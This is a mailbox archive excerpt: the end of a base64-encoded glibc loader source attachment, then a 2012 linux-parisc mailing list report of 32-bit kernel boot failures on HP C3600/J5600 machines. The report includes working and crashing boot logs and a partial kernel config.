dGVybiB2b2lkIF9kbF9jbG9zZSAodm9pZCAqbWFwKSBfX2F0dHJpYnV0ZV9f
ICgodmlzaWJpbGl0eSAoImhpZGRlbiIpKSk7CmV4dGVybiBpbnQgX2RsX2Nh
dGNoX2Vycm9yIChjb25zdCBjaGFyICoqb2JqbmFtZSwgY29uc3QgY2hhciAq
KmVycnN0cmluZywgICAgICAgIF9Cb29sICptYWxsb2NlZHAsIHZvaWQgKCpv
cGVyYXRlKSAodm9pZCAqKSwgICAgICAgIHZvaWQgKmFyZ3MpICAgICAgOwp0
eXBlZGVmIHVuc2lnbmVkIGludCBmcHVfY29udHJvbF90Owp0eXBlZGVmIHN0
cnVjdCBsaW5rX21hcCAqbG9va3VwX3Q7CnN0cnVjdCBydGxkX2dsb2JhbCB7
CiAgc3RydWN0IGxpbmtfbWFwIF9kbF9ydGxkX21hcDsKICBpbnQgKCpfZGxf
bWFrZV9zdGFja19leGVjdXRhYmxlX2hvb2spICh2b2lkICoqKSA7Cn07CnN0
cnVjdCBydGxkX2dsb2JhbF9ybyB7CiAgc2l6ZV90IF9kbF9wYWdlc2l6ZTsK
ICBpbnQgX2RsX2RlYnVnX2ZkOwogIGludCBfZGxfbGF6eTsKICBmcHVfY29u
dHJvbF90IF9kbF9mcHVfY29udHJvbDsKICBpbnQgX2RsX2NvcnJlY3RfY2Fj
aGVfaWQ7CiAgdWludDY0X3QgX2RsX2h3Y2FwX21hc2s7CiAgRWxmMzJfQWRk
ciBfZGxfdXNlX2xvYWRfYmlhczsKICB2b2lkICgqX2RsX2RlYnVnX3ByaW50
ZikgKGNvbnN0IGNoYXIgKiwgLi4uKSAgICAgICAgX19hdHRyaWJ1dGVfXyAo
KF9fZm9ybWF0X18gKF9fcHJpbnRmX18sIDEsIDIpKSk7CiAgaW50ICggKl9k
bF9jYXRjaF9lcnJvcikgKGNvbnN0IGNoYXIgKiosIGNvbnN0IGNoYXIgKios
ICAgICAgICAgIF9Cb29sICosIHZvaWQgKCopICh2b2lkICopLCB2b2lkICop
OwogIHZvaWQgKCAqX2RsX3NpZ25hbF9lcnJvcikgKGludCwgY29uc3QgY2hh
ciAqLCBjb25zdCBjaGFyICosICAgICAgICAgICAgY29uc3QgY2hhciAqKTsK
ICB2b2lkICgqX2RsX21jb3VudCkgKEVsZjMyX0FkZHIgZnJvbXBjLCBFbGYz
Ml9BZGRyIHNlbGZwYyk7CiAgbG9va3VwX3QgKCAqX2RsX2xvb2t1cF9zeW1i
b2xfeCkgKGNvbnN0IGNoYXIgKiwgICAgICAgICAgICBzdHJ1Y3QgbGlua19t
YXAgKiwgICAgICAgICAgICBjb25zdCBFbGYzMl9TeW0gKiosICAgICAgICAg
ICAgc3RydWN0IHJfc2NvcGVfZWxlbSAqW10sICAgICAgICAgICAgY29uc3Qg
c3RydWN0IHJfZm91bmRfdmVyc2lvbiAqLCAgICAgICAgICAgIGludCwgaW50
LCAgICAgICAgICAgIHN0cnVjdCBsaW5rX21hcCAqKTsKICBpbnQgKCpfZGxf
Y2hlY2tfY2FsbGVyKSAoY29uc3Qgdm9pZCAqLCBlbnVtIGFsbG93bWFzayk7
CiAgdm9pZCAqKCpfZGxfb3BlbikgKGNvbnN0IGNoYXIgKmZpbGUsIGludCBt
b2RlLCBjb25zdCB2b2lkICpjYWxsZXJfZGxvcGVuLCAgICAgICAgTG1pZF90
IG5zaWQsIGludCBhcmdjLCBjaGFyICphcmd2W10sIGNoYXIgKmVudltdKTsK
ICB2b2lkICgqX2RsX2Nsb3NlKSAodm9pZCAqbWFwKTsKICB2b2lkICooKl9k
bF90bHNfZ2V0X2FkZHJfc29mdCkgKHN0cnVjdCBsaW5rX21hcCAqKTsKICBp
bnQgKCpfZGxfZGlzY292ZXJfb3N2ZXJzaW9uKSAodm9pZCk7CiAgaW50IF9k
bF9wb2ludGVyX2d1YXJkOwp9OwpleHRlcm4gaW50IF9kbF9tYWtlX3N0YWNr
X2V4ZWN1dGFibGUgKHZvaWQgKipzdGFja19lbmRwKSA7CmV4dGVybiB2b2lk
IF9kbF9kZWJ1Z19wcmludGYgKGNvbnN0IGNoYXIgKmZtdCwgLi4uKSAgICAg
IF9fYXR0cmlidXRlX18gKChfX2Zvcm1hdF9fIChfX3ByaW50Zl9fLCAxLCAy
KSkpIF9fYXR0cmlidXRlX18gKCh2aXNpYmlsaXR5ICgiaGlkZGVuIikpKTsK
ZXh0ZXJuIHZvaWQgX2RsX3NpZ25hbF9lcnJvciAoaW50IGVycmNvZGUsIGNv
bnN0IGNoYXIgKm9iamVjdCwgICAgICAgICAgY29uc3QgY2hhciAqb2NjdXJy
ZWQsIGNvbnN0IGNoYXIgKmVycnN0cmluZykgICAgICBfX2F0dHJpYnV0ZV9f
ICgoX19ub3JldHVybl9fKSkgX19hdHRyaWJ1dGVfXyAoKHZpc2liaWxpdHkg
KCJoaWRkZW4iKSkpOwpleHRlcm4gbG9va3VwX3QgX2RsX2xvb2t1cF9zeW1i
b2xfeCAoY29uc3QgY2hhciAqdW5kZWYsICAgICAgICAgIHN0cnVjdCBsaW5r
X21hcCAqdW5kZWZfbWFwLCAgICAgICAgICBjb25zdCBFbGYzMl9TeW0gKipz
eW0sICAgICAgICAgIHN0cnVjdCByX3Njb3BlX2VsZW0gKnN5bWJvbF9zY29w
ZVtdLCAgICAgICAgICBjb25zdCBzdHJ1Y3Qgcl9mb3VuZF92ZXJzaW9uICp2
ZXJzaW9uLCAgICAgICAgICBpbnQgdHlwZV9jbGFzcywgaW50IGZsYWdzLCAg
ICAgICAgICBzdHJ1Y3QgbGlua19tYXAgKnNraXBfbWFwKSAgICAgIF9fYXR0
cmlidXRlX18gKCh2aXNpYmlsaXR5ICgiaGlkZGVuIikpKTsKZXh0ZXJuIHZv
aWQgX2RsX21jb3VudF9pbnRlcm5hbCAoRWxmMzJfQWRkciBmcm9tcGMsIEVs
ZjMyX0FkZHIgc2VsZnBjKSAgICAgIF9fYXR0cmlidXRlX18gKCh2aXNpYmls
aXR5ICgiaGlkZGVuIikpKTsKZXh0ZXJuIGludCBfZGxfY2hlY2tfY2FsbGVy
IChjb25zdCB2b2lkICpjYWxsZXIsIGVudW0gYWxsb3dtYXNrIG1hc2spICAg
ICAgX19hdHRyaWJ1dGVfXyAoKHZpc2liaWxpdHkgKCJoaWRkZW4iKSkpOwpl
eHRlcm4gdm9pZCAqX2RsX29wZW4gKGNvbnN0IGNoYXIgKm5hbWUsIGludCBt
b2RlLCBjb25zdCB2b2lkICpjYWxsZXIsICAgICAgICAgIExtaWRfdCBuc2lk
LCBpbnQgYXJnYywgY2hhciAqYXJndltdLCBjaGFyICplbnZbXSkgICAgICBf
X2F0dHJpYnV0ZV9fICgodmlzaWJpbGl0eSAoImhpZGRlbiIpKSk7CmV4dGVy
biB2b2lkICpfZGxfdGxzX2dldF9hZGRyX3NvZnQgKHN0cnVjdCBsaW5rX21h
cCAqbCkgX19hdHRyaWJ1dGVfXyAoKHZpc2liaWxpdHkgKCJoaWRkZW4iKSkp
OwpzdHJ1Y3QgcnRsZF9nbG9iYWwgX3J0bGRfZ2xvYmFsID0gICB7Cn07CmV4
dGVybiBzdHJ1Y3QgcnRsZF9nbG9iYWwgX3J0bGRfbG9jYWwgICAgIF9fYXR0
cmlidXRlX18gKChhbGlhcyAoIl9ydGxkX2dsb2JhbCIpLCB2aXNpYmlsaXR5
ICgiaGlkZGVuIikpKTsKc3RydWN0IHJ0bGRfZ2xvYmFsX3JvIF9ydGxkX2ds
b2JhbF9ybyBfX2F0dHJpYnV0ZV9fICgoc2VjdGlvbiAoIi5kYXRhLnJlbC5y
byIpKSkgPSAgIHsKICAuX2RsX2RlYnVnX2ZkID0gMiwKICAgICAuX2RsX3Vz
ZV9sb2FkX2JpYXMgPSAtMiwKICAgICAuX2RsX2NvcnJlY3RfY2FjaGVfaWQg
PSAzLAogICAgIC5fZGxfaHdjYXBfbWFzayA9ICgwKSwKICAgICAuX2RsX2xh
enkgPSAxLAogICAgIC5fZGxfZnB1X2NvbnRyb2wgPSAweDAwMDAwMDAwLAog
ICAgIC5fZGxfcG9pbnRlcl9ndWFyZCA9IDEsCiAgICAgLl9kbF9wYWdlc2l6
ZSA9IDQwOTYsCiAgICAgICAuX2RsX2RlYnVnX3ByaW50ZiA9IF9kbF9kZWJ1
Z19wcmludGYsCiAgICAgLl9kbF9jYXRjaF9lcnJvciA9IF9kbF9jYXRjaF9l
cnJvciwKICAgICAuX2RsX3NpZ25hbF9lcnJvciA9IF9kbF9zaWduYWxfZXJy
b3IsCiAgICAgLl9kbF9tY291bnQgPSBfZGxfbWNvdW50X2ludGVybmFsLAog
ICAgIC5fZGxfbG9va3VwX3N5bWJvbF94ID0gX2RsX2xvb2t1cF9zeW1ib2xf
eCwKICAgICAuX2RsX2NoZWNrX2NhbGxlciA9IF9kbF9jaGVja19jYWxsZXIs
CiAgICAgLl9kbF9vcGVuID0gX2RsX29wZW4sCiAgICAgLl9kbF9jbG9zZSA9
IF9kbF9jbG9zZSwKICAgICAuX2RsX3Rsc19nZXRfYWRkcl9zb2Z0ID0gX2Rs
X3Rsc19nZXRfYWRkcl9zb2Z0LAogICAgICAuX2RsX2Rpc2NvdmVyX29zdmVy
c2lvbiA9IF9kbF9kaXNjb3Zlcl9vc3ZlcnNpb24KICAgIH07CnN0YXRpYyB2
b2lkIGRsX21haW4gKGNvbnN0IEVsZjMyX1BoZHIgKnBoZHIsIEVsZjMyX1dv
cmQgcGhudW0sICAgICAgICBFbGYzMl9BZGRyICp1c2VyX2VudHJ5LCBFbGYz
Ml9hdXh2X3QgKmF1eHYpOwpzdHJ1Y3QgZGxfc3RhcnRfZmluYWxfaW5mbyAK
ewp9OwpzdGF0aWMgRWxmMzJfQWRkciBfX2F0dHJpYnV0ZV9fICgobm9pbmxp
bmUpKSAKX2RsX3N0YXJ0X2ZpbmFsICh2b2lkICphcmcsIHN0cnVjdCBkbF9z
dGFydF9maW5hbF9pbmZvICppbmZvKSAgCnsKICBFbGYzMl9BZGRyIHN0YXJ0
X2FkZHI7CiAgc3RhcnRfYWRkciA9IF9kbF9zeXNkZXBfc3RhcnQgKGFyZywg
JmRsX21haW4pOwp9CnN0YXRpYyBFbGYzMl9BZGRyIF9fYXR0cmlidXRlX18g
KChfX3VzZWRfXykpIF9kbF9zdGFydCAodm9pZCAqYXJnKSAKewogIHN0cnVj
dCBkbF9zdGFydF9maW5hbF9pbmZvIGluZm87CiAgewogICAgRWxmMzJfQWRk
ciBlbnRyeSA9IF9kbF9zdGFydF9maW5hbCAoYXJnLCAmaW5mbyk7CiAgfQp9
CnN0YXRpYyB2b2lkIGRsX21haW4gKGNvbnN0IEVsZjMyX1BoZHIgKnBoZHIs
ICAgRWxmMzJfV29yZCBwaG51bSwgICBFbGYzMl9BZGRyICp1c2VyX2VudHJ5
LCAgIEVsZjMyX2F1eHZfdCAqYXV4dikgCnsKICBzdHJ1Y3QgbGlua19tYXAg
Km1haW5fbWFwOwogIHVuc2lnbmVkIGludCBpOwogIF9ydGxkX2xvY2FsLl9k
bF9tYWtlX3N0YWNrX2V4ZWN1dGFibGVfaG9vayA9ICZfZGxfbWFrZV9zdGFj
a19leGVjdXRhYmxlOwogIGZvciAoaSA9IDE7CiAgICAgICBpIDwgbWFpbl9t
YXAtPmxfc2VhcmNobGlzdC5yX25saXN0OwogICAgICAgKytpKQogICAgaWYg
KG1haW5fbWFwLT5sX3NlYXJjaGxpc3Qucl9saXN0W2ldID09ICZfcnRsZF9s
b2NhbC5fZGxfcnRsZF9tYXApCiAgICAgICBicmVhazsKfQo=

--e89a8ff1c3fcba677204bdb8f542--


From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Boot failure with 32bit kernel
Date: Thu, 19 Apr 2012 10:26:08 +0200
Lines: 2219
Approved: news@gmane.org
Message-ID: <20120419102608.1834003e@driller.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/VXS4p+1wRZqOPyUqkJVPNyZ"
X-Trace: dough.gmane.org 1334824005 12286 80.91.229.3 (19 Apr 2012 08:26:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 19 Apr 2012 08:26:45 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 19 10:26:39 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SKmhJ-00023o-3Z
	for glpp-linux-parisc@plane.gmane.org; Thu, 19 Apr 2012 10:26:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754705Ab2DSI0g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Apr 2012 04:26:36 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:58155 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754679Ab2DSI02 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Apr 2012 04:26:28 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (vodsl-10893.vo.lu [85.93.208.141]) by venus.vo.lu with SMTP;
   Thu, 19 Apr 2012 10:25:49 +0200
Original-Received: from [172.22.1.1] (helo=driller.lan)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.2:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.77)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1SKmgw-0007DF-W3
	for linux-parisc@vger.kernel.org; Thu, 19 Apr 2012 10:26:16 +0200
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.8; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4281
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4281>

--MP_/VXS4p+1wRZqOPyUqkJVPNyZ
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi all,

I compiled a kernel with a few additional features and I was unable to
boot it. It seems that if the entry point is not 0x00100000 in vmlinux,
the boot process fails right after "Total Memory: 2048 MB".
This is the only common denominator I could find.

I've been able to reproduce this with :
 - C3600 and J5600
 - kernel 3.2.12 and 3.3.1
 - gcc 4.5.3
 - ld 2.21 and 2.22
 - palo 1.17 and 1.18


I've attached the boot output of a working and 2 broken kernels. I've
also attached a non working kconfig. To have this one, I started
from a working config and then I've added XFS as I know it's a big
chunk of code and was likely to increase the resulting binary size.

With 3.2.12, I had a working kernel until I tried
CONFIG_CC_OPTIMIZE_FOR_SIZE=y. When I did this, the resulting kernel
was slightly smaller but the entry point was further than 0x00100000.


The 10 first lines of System.map from the working 3.3.1 kernel :
10100000 T _stext
10100000 A _text
10100000 T stext
10100020 t $bss_loop
10100088 t $pgt_fill_loop
10100100 t $is_pa20
10100108 t $install_iva
10100180 t aligned_rfi
10100200 T flush_tlb_all_local
1010024c t .L11

The same from the non working 3.3.1 one :
10100000 A _text
10100100 T _stext
10100100 T stext
10100120 t $bss_loop
10100188 t $pgt_fill_loop
10100200 t $is_pa20
10100208 t $install_iva
10100280 t aligned_rfi
10100300 T flush_tlb_all_local
1010034c t .L11

I've also taken the only sparc I had out of the room but it didn't
help :)

Is this a known issue ?

Let me know if you need more details.

Thanks,
  Guy
--MP_/VXS4p+1wRZqOPyUqkJVPNyZ
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename=working-output.txt

HARD Booted.
palo ipl 1.17 root@hope Sun Nov 21 23:43:13 CET 2010

Partition Start(MB) End(MB) Id Type
1               1      39   f0 Palo
2              40      78   83 ext2
3              79   16300   83 ext2
4           16301   17359   82 swap

PALO(F0) partition contains:

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current co=
mmand line:
2/vmlinux root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,init panic=3D5 c=
onsole=3DttyS0
 0: 2/vmlinux
 1: root=3D/dev/sda3
 2: video=3Dmatroxfb:mem:2M,noaccel,init
 3: panic=3D5
 4: console=3DttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0
2/vmlinux.test
Current command line:
2/vmlinux.test root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,init panic=
=3D5 console=3DttyS0
 0: 2/vmlinux.test
 1: root=3D/dev/sda3
 2: video=3Dmatroxfb:mem:2M,noaccel,init
 3: panic=3D5
 4: console=3DttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,=
init panic=3D5 console=3DttyS0 palo_kernel=3D2/vmlinux.test'
Selected kernel: /vmlinux.test from partition 2
ELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4915200 mediaptr 0x1000
Segment 1 load 005ec000 size 126000 mediaptr 0x4b1000
Segment 2 load 0060b000 size 109532 mediaptr 0x4d0000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 3.2.12 (root@hope) (gcc version 4.5.3 (Gentoo 4.5.3-r2 p1.1, =
pie-0.4.7) ) #3 Tue Apr 17 19:17:18 CEST 2012
unwind_init: start =3D 0x10517000, end =3D 0x1054fdc0, entries =3D 14556
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005cf0 00000481 00000000 00000002 77b310ff 100000f0 00000008 000000=
b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/C3600
Total Memory: 2048 MB
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 520192
Kernel command line: root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,init =
panic=3D5 console=3DttyS0 palo_kernel=3D2/vmlinux.test
PID hash table entries: 4096 (order: 2, 16384 bytes)
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
Memory: 2071756k/2097152k available (3236k kernel code, 25396k reserved, 15=
42k data, 232k init)
virtual kernel memory layout:
    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
    memory  : 0x10000000 - 0x90000000   (2048 MB)
      .init : 0x105ec000 - 0x10626000   ( 232 kB)
      .data : 0x10429024 - 0x105aa8b0   (1542 kB)
      .text : 0x10100000 - 0x10429024   (3236 kB)
SLUB: Genslabs=3D11, HWalign=3D64, Order=3D0-3, MinObjects=3D0, CPUs=3D1, N=
odes=3D1
NR_IRQS:96
Console: colour dummy device 160x64
Calibrating delay loop... 1099.77 BogoMIPS (lpj=3D2199552)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:


--MP_/VXS4p+1wRZqOPyUqkJVPNyZ
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename=broken-output.txt

HARD Booted.
palo ipl 1.17 root@hope Sun Nov 21 23:43:13 CET 2010

Partition Start(MB) End(MB) Id Type
1               1      39   f0 Palo
2              40      78   83 ext2
3              79   16300   83 ext2
4           16301   17359   82 swap

PALO(F0) partition contains:

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current co=
mmand line:
2/vmlinux root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,init panic=3D5 c=
onsole=3DttyS0
 0: 2/vmlinux
 1: root=3D/dev/sda3
 2: video=3Dmatroxfb:mem:2M,noaccel,init
 3: panic=3D5
 4: console=3DttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0
2/vmlinux.test
Current command line:
2/vmlinux.test root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,init panic=
=3D5 console=3DttyS0
 0: 2/vmlinux.test
 1: root=3D/dev/sda3
 2: video=3Dmatroxfb:mem:2M,noaccel,init
 3: panic=3D5
 4: console=3DttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,=
init panic=3D5 console=3DttyS0 palo_kernel=3D2/vmlinux.test'
Selected kernel: /vmlinux.test from partition 2
ELF32 executable
Entry 00100080 first 00100000 n 3
Segment 0 load 00100000 size 4702208 mediaptr 0x1000
Segment 1 load 005b8000 size 124364 mediaptr 0x47d000
Segment 2 load 005d7000 size 109520 mediaptr 0x49c000
Branching to kernel entry point 0x00100080.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 3.2.12 (root@hope) (gcc version 4.5.3 (Gentoo 4.5.3-r2 p1.1, =
pie-0.4.7) ) #4 Tue Apr 17 14:54:36 CEST 2012
unwind_init: start =3D 0x104e1000, end =3D 0x1051a960, entries =3D 14742
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005cf0 00000481 00000000 00000002 77b310ff 100000f0 00000008 000000=
b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/C3600
Total Memory: 2048 MB
      _______________________________=20
     < Your System ate a SPARC! Gah! >
      -------------------------------=20
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 0): Protection id trap (code 7)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  0004ff0e 1059a000 10112cb4 00000000
r04-07  00000001 105201cc 10524000 1052e178
r08-11  1052e194 10524020 00000000 00100000
r12-15  00080000 00000000 005f1fff 1055a33c
r16-19  1059a000 00080000 10524000 00007155
r20-23  00000000 10716000 00000000 00000001
r24-27  00000000 00000000 00000000 10524000
r28-31  00000000 03a37905 105202c0 00000000
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10100484 10100488
 IIR: 43ffff40    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 10520000 CR31: 11111111
 ORIG_R28: 00000000
 IAOQ[0]: flush_instruction_cache_local+0x0/0x28
 IAOQ[1]: flush_instruction_cache_local+0x4/0x28
 RP(r2): flush_cache_all_local+0x10/0x24
Backtrace:
 [<10112cb4>] flush_cache_all_local+0x10/0x24
 [<105baee4>] paging_init+0x78c/0x830
 [<105bb4b0>] setup_arch+0x5c/0x80
 [<105b86bc>] start_kernel+0x80/0x374
 [<10113464>] start_parisc+0x4c/0x68

Backtrace:
 [<10113b94>] die_if_kernel+0x138/0x1b0
 [<10114320>] handle_interruption+0x48c/0x63c
 [<10104078>] intr_check_sig+0x0/0x34
 [<10118b9c>] pdc_console_write+0x30/0x58
 [<10100488>] flush_instruction_cache_local+0x4/0x28

---[ end trace 139ce121c98e96c9 ]---
Kernel panic - not syncing: Attempted to kill the idle task!
Backtrace:
 [<1010ebd0>] panic+0x94/0x268
 [<10131dd0>] do_exit+0xb4/0x5b8
 [<10113bfc>] die_if_kernel+0x1a0/0x1b0
 [<10114320>] handle_interruption+0x48c/0x63c
 [<10104078>] intr_check_sig+0x0/0x34
 [<10118b9c>] pdc_console_write+0x30/0x58
 [<10100488>] flush_instruction_cache_local+0x4/0x28


--MP_/VXS4p+1wRZqOPyUqkJVPNyZ
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename=broken2-output.txt

Booting...=20
Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl 1.18 root@hope Fri Apr 13 00:26:11 CEST 2012

Partition Start(MB) End(MB) Id Type
1               1      39   f0 Palo
2              40      78   83 ext2
3              79   16300   83 ext2
4           16301   17359   82 swap

PALO(F0) partition contains:

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current co=
mmand line:
2/vmlinux root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,init panic=3D5 c=
onsole=3DttyS0
 0: 2/vmlinux
 1: root=3D/dev/sda3
 2: video=3Dmatroxfb:mem:2M,noaccel,init
 3: panic=3D5
 4: console=3DttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0
2/vmlinux.test
Current command line:
2/vmlinux.test root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,init panic=
=3D5 console=3DttyS0
 0: 2/vmlinux.test
 1: root=3D/dev/sda3
 2: video=3Dmatroxfb:mem:2M,noaccel,init
 3: panic=3D5
 4: console=3DttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'root=3D/dev/sda3 video=3Dmatroxfb:mem:2M,noaccel,=
init panic=3D5 console=3DttyS0 palo_kernel=3D2/vmlinux.test'
Selected kernel: /vmlinux.test from partition 2
ELF32 executable
Entry 00100100 first 00100000 n 3
Segment 0 load 00100000 size 5332992 mediaptr 0x1000
Segment 1 load 00644000 size 118480 mediaptr 0x517000
Segment 2 load 00661000 size 27504 mediaptr 0x534000
Branching to kernel entry point 0x00100100.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 3.3.1 (root@hope) (gcc version 4.5.3 (Gentoo 4.5.3-r2 p1.1, p=
ie-0.4.7) ) #4 Wed Apr 18 16:45:35 CEST 2012
unwind_init: start =3D 0x10579000, end =3D 0x105b5fb0, entries =3D 15611
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005cf0 00000481 00000000 00000002 77b310ff 100000f0 00000008 000000=
b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/C3600
Total Memory: 2048 MB
      _______________________________=20
     < Your System ate a SPARC! Gah! >
      -------------------------------=20
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 0): Protection id trap (code 7)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  0004ff0e 10634000 10112cf0 00000000
r04-07  105c0014 105c0000 105bc1cc 105c9bb8
r08-11  105c9bd4 105c0020 105f3800 00000668
r12-15  00100000 00080000 105c0000 105f3f70
r16-19  00080000 10634000 00667fff 000078b5
r20-23  1078c000 00000000 00000000 00000001
r24-27  00000000 00000000 00000000 105c0000
r28-31  00000000 0000078c 105bc2c0 00000000
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10100484 10100488
 IIR: 43ffff40    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 105bc000 CR31: 11111111
 ORIG_R28: 00000000
 IAOQ[0]: flush_instruction_cache_local+0x0/0x28
 IAOQ[1]: flush_instruction_cache_local+0x4/0x28
 RP(r2): flush_cache_all_local+0x10/0x24
Backtrace:
 [<10112cf0>] flush_cache_all_local+0x10/0x24
 [<10646f00>] paging_init+0x7a4/0x848
 [<106474a4>] setup_arch+0x5c/0x80
 [<106446c8>] start_kernel+0x80/0x37c
 [<101134cc>] start_parisc+0x4c/0x68

Backtrace:
 [<10113ba0>] die_if_kernel+0xac/0x1bc
 [<101143cc>] handle_interruption+0x47c/0x718
 [<10104078>] intr_check_sig+0x0/0x34
 [<101191fc>] pdc_console_write+0x30/0x58
 [<10100488>] flush_instruction_cache_local+0x4/0x28

---[ end trace 139ce121c98e96c9 ]---
Kernel panic - not syncing: Attempted to kill the idle task!
      _______________________________=20
     < Your System ate a SPARC! Gah! >
      -------------------------------=20
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 0): Protection id trap (code 7)
die_if_kernel() recursion detected.
  =20

--MP_/VXS4p+1wRZqOPyUqkJVPNyZ
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename=linux-3.3.1-broken.config

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.3.1 Kernel Configuration
#
CONFIG_PARISC=3Dy
CONFIG_MMU=3Dy
CONFIG_STACK_GROWSUP=3Dy
CONFIG_RWSEM_GENERIC_SPINLOCK=3Dy
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=3Dy
CONFIG_GENERIC_HWEIGHT=3Dy
CONFIG_GENERIC_CALIBRATE_DELAY=3Dy
CONFIG_HAVE_LATENCYTOP_SUPPORT=3Dy
CONFIG_STACKTRACE_SUPPORT=3Dy
CONFIG_NEED_DMA_MAP_STATE=3Dy
CONFIG_NEED_SG_DMA_LENGTH=3Dy
